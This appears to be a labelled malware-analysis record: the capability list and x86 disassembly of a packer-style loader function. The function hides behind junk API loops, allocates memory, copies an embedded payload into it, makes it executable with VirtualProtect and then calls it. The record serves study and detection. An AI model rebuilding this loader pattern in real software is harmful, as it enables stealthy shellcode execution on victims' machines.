Function at 0x4094e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd6c
mov eax, dword [0x41507c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x4171c8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x1ecfc
jne 0x409590
push 0x7593c0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x7290d
jne 0x409590
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefFrameProcA]
xor eax, eax
mov word [ebp - 0xc20], ax
lea esi, [eax + 0x2e]
lea eax, [ebp - 0xc20]
mov dword [ebp - 0xc0c], 7
mov dword [ebp - 0xc10], 0
call fcn.004010f0
push str.Ruragobeboxokuxilu_yitoboxibatusi_zu_jugazuli_paxu_bitakicu_pebekosijepohore_zomuzuxeduci__s__d__f
call fcn.00401aee
add esp, 4
push 0x463ef52e
push 0x4523dda9
call fcn.00401a31
add esp, 8
cmp dword [ebp - 0xc0c], 8
jb 0x409590
mov ecx, dword [ebp - 0xc20]
push ecx
call fcn.00401b0b
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_PurgeComm]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor esi, esi
mov edi, edi
cmp esi, 0x2425
jge 0x4095cf
push 0
push 0
call edi
lea edx, [ebp - 0xd40]
push edx
call ebx
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtSelectClipRgn]
lea eax, [ebp - 0xc2c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoA]
cmp esi, 0x16c6
jge 0x4095f9
push str.Nehijejenu_petiva_sezugi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.USER32.dll_IsWindowEnabled]
cmp esi, 0x943719
jle 0x40960d
cmp dword [ebp - 0xc2c], 0x1b215bca
jne 0x409618
inc esi
cmp esi, 0x1240bed3
jl 0x4095a0
jmp 0x409627
lea ecx, [ebp - 0xcac]
push ecx
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
mov edx, dword [0x415f70]
mov edi, dword [sym.imp.USER32.dll_SetUserObjectSecurity]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov dword [0x77ed8c], edx
xor esi, esi
cmp esi, 0x17c8
jge 0x409694
xor eax, eax
lea edx, [ebp - 0xd54]
push edx
push eax
lea ecx, [ebp - 0xd64]
push ecx
lea edx, [ebp - 0xd6c]
push edx
push eax
mov dword [ebp - 0xd44], eax
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
lea eax, [ebp - 0xd58]
push eax
lea ecx, [ebp - 0xd5c]
push ecx
lea edx, [ebp - 0xd50]
push edx
push 0
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp esi, 0x410b3
jne 0x4096a8
add dword [0x77ed8c], 0x7958c
jmp 0x4096d6
cmp esi, 0x14d4
jge 0x4096d6
push 0
lea ecx, [ebp - 0xd4c]
push ecx
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
lea edx, [ebp - 0xc14]
push edx
push 0
call dword [sym.imp.USER32.dll_DrawEdge]
inc esi
cmp esi, 0x2bada6
jl 0x409641
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.LocalAlloc
push eax
mov dword [0x7593bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x77ed8c]
push ecx
push 0
mov dword [0x7593b8], eax
call eax
mov edx, dword [0x415f64]
xor esi, esi
mov dword [0x42f82c], eax
mov dword [0x77ed90], edx
cmp dword [0x77ed8c], esi
jbe 0x409766
mov edi, dword [sym.imp.USER32.dll_SetFocus]
mov ebx, dword [sym.imp.GDI32.dll_SetDCBrushColor]
cmp esi, 0x1f30
jge 0x409748
push 0
call edi
push 0
push 0
call ebx
mov eax, dword [0x77ed90]
mov cl, byte [eax + esi + 0x7958c]
mov edx, dword [0x42f82c]
mov byte [edx + esi], cl
inc esi
cmp esi, dword [0x77ed8c]
jb 0x409736
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [sym.imp.USER32.dll_GetClipboardFormatNameW]
xor esi, esi
cmp esi, 0x2434
jge 0x409799
lea eax, [ebp - 0xd4c]
push eax
lea ecx, [ebp - 0x404]
push ecx
call edi
push 0
lea edx, [ebp - 0xc04]
push edx
push 0
call ebx
cmp esi, 0x4114c
jne 0x4097c0
mov ecx, dword [0x77ed8c]
mov edx, dword [0x42f82c]
lea eax, [ebp - 0xd50]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4097d2
cmp esi, 0x1069
jge 0x4097d2
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowPlacement]
inc esi
cmp esi, 0x194665
jl 0x409774
call fcn.004094b0
call dword [0x42f82c]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
lea edx, [ebp - 0xc6c]
push edx
push 0
mov dword [ecx + 4], 1
call dword [sym.imp.KERNEL32.dll_GetCommProperties]
lea eax, [ebp - 0xd48]
push eax
push 0
call dword [sym.imp.USER32.dll_DdeAccessData]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401580
mov esp, ebp
pop ebp
ret 0x10